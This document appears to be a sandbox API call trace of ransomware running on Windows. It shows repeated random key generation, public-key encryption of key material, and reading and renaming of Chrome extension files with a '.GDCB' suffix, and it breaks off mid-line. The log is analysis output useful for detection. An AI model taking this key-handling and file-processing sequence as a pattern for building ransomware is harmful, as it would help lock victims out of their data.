1 [0265.803] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0265.806] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6793fa0) returned 1 [0265.806] CryptGetKeyParam (in: hKey=0x6793fa0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0265.806] CryptEncrypt (in: hKey=0x6793fa0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0265.806] GetLastError () returned 0x0 [0265.806] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0265.806] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0265.808] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6795460) returned 1 [0265.808] CryptGetKeyParam (in: hKey=0x6795460, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0265.808] CryptEncrypt (in: hKey=0x6795460, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285d120*=0x100) returned 1 [0265.808] GetLastError () returned 0x0 [0265.808] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0265.808] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\computed_hashes.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\computed_hashes.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x424 [0265.809] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0265.812] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0265.814] ReadFile (in: hFile=0x424, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285d160*=0x160, lpOverlapped=0x0) returned 1 [0265.823] VirtualAlloc (lpAddress=0x0, dwSize=0x160, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0265.830] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\computed_hashes.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\computed_hashes.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\computed_hashes.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\computed_hashes.json.gdcb")) returned 1 [0265.834] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0265.837] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0265.839] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0265.839] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0265.839] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0265.839] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0265.841] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0265.844] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0265.844] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0265.844] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0265.844] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0265.846] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6795860) returned 1 [0265.846] CryptGetKeyParam (in: hKey=0x6795860, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0265.846] CryptEncrypt (in: hKey=0x6795860, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0265.846] GetLastError () returned 0x0 [0265.846] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0265.847] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0265.848] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x67952e0) returned 1 [0265.848] CryptGetKeyParam (in: hKey=0x67952e0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0265.848] CryptEncrypt (in: hKey=0x67952e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285d120*=0x100) returned 1 [0265.849] GetLastError () returned 0x0 [0265.849] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0265.849] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\verified_contents.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\verified_contents.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x424 [0265.850] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0265.852] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0265.855] ReadFile (in: hFile=0x424, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285d160*=0x2b56, lpOverlapped=0x0) returned 1 [0265.863] VirtualAlloc (lpAddress=0x0, dwSize=0x2b60, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0265.869] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\verified_contents.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\verified_contents.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\verified_contents.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\verified_contents.json.gdcb")) returned 1 [0265.875] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0265.878] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0265.880] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0265.880] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0265.880] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0265.880] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0265.883] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0265.885] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0265.885] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0265.885] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0265.885] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0265.888] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x67916a0) returned 1 [0265.892] CryptGetKeyParam (in: hKey=0x67916a0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0265.892] CryptEncrypt (in: hKey=0x67916a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0265.893] GetLastError () returned 0x0 [0265.893] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0265.893] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0265.895] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x67954e0) returned 1 [0265.895] CryptGetKeyParam (in: hKey=0x67954e0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0265.895] CryptEncrypt (in: hKey=0x67954e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0265.895] GetLastError () returned 0x0 [0265.895] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0265.896] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\contentscript_bin_prod.js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\contentscript_bin_prod.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x520 [0265.897] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0265.900] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0265.903] ReadFile (in: hFile=0x520, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285d3e8*=0x1103, lpOverlapped=0x0) returned 1 [0265.913] VirtualAlloc (lpAddress=0x0, dwSize=0x1110, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0265.919] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\contentscript_bin_prod.js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\contentscript_bin_prod.js"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\contentscript_bin_prod.js.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\contentscript_bin_prod.js.gdcb")) returned 1 [0265.922] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0265.925] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0265.927] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0265.927] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0265.927] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0265.927] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0265.929] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0265.931] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0265.931] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0265.931] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0265.931] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0265.934] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x6795320) returned 1 [0265.934] CryptGetKeyParam (in: hKey=0x6795320, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0265.934] CryptEncrypt (in: hKey=0x6795320, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0265.934] GetLastError () returned 0x0 [0265.934] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0265.934] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0265.937] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x6795620) returned 1 [0265.937] CryptGetKeyParam (in: hKey=0x6795620, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0265.937] CryptEncrypt (in: hKey=0x6795620, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0265.937] GetLastError () returned 0x0 [0265.937] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0265.937] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\dasherSettingSchema.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\dashersettingschema.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x520 [0265.938] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0265.941] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0265.944] ReadFile (in: hFile=0x520, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285d3e8*=0x356, lpOverlapped=0x0) returned 1 [0265.953] VirtualAlloc (lpAddress=0x0, dwSize=0x360, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0265.959] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\dasherSettingSchema.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\dashersettingschema.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\dasherSettingSchema.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\dashersettingschema.json.gdcb")) returned 1 [0265.962] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0265.966] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0265.968] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0265.968] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0265.968] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0265.969] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0265.971] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0265.974] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0265.974] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0265.974] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0265.974] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0265.977] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x67958a0) returned 1 [0265.977] CryptGetKeyParam (in: hKey=0x67958a0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0265.977] CryptEncrypt (in: hKey=0x67958a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0265.977] GetLastError () returned 0x0 [0265.977] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0265.977] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0265.980] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x67956e0) returned 1 [0265.980] CryptGetKeyParam (in: hKey=0x67956e0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0265.980] CryptEncrypt (in: hKey=0x67956e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0265.980] GetLastError () returned 0x0 [0265.980] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0265.980] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\eventpage_bin_prod.js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\eventpage_bin_prod.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x520 [0265.981] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0265.985] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0265.988] ReadFile (in: hFile=0x520, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285d3e8*=0x5d80, lpOverlapped=0x0) returned 1 [0265.995] VirtualAlloc (lpAddress=0x0, dwSize=0x5d80, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0266.002] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\eventpage_bin_prod.js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\eventpage_bin_prod.js"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\eventpage_bin_prod.js.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\eventpage_bin_prod.js.gdcb")) returned 1 [0266.006] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0266.009] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0266.012] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0266.012] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0266.012] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0266.012] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0266.015] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0266.017] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0266.017] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0266.017] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0266.017] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider 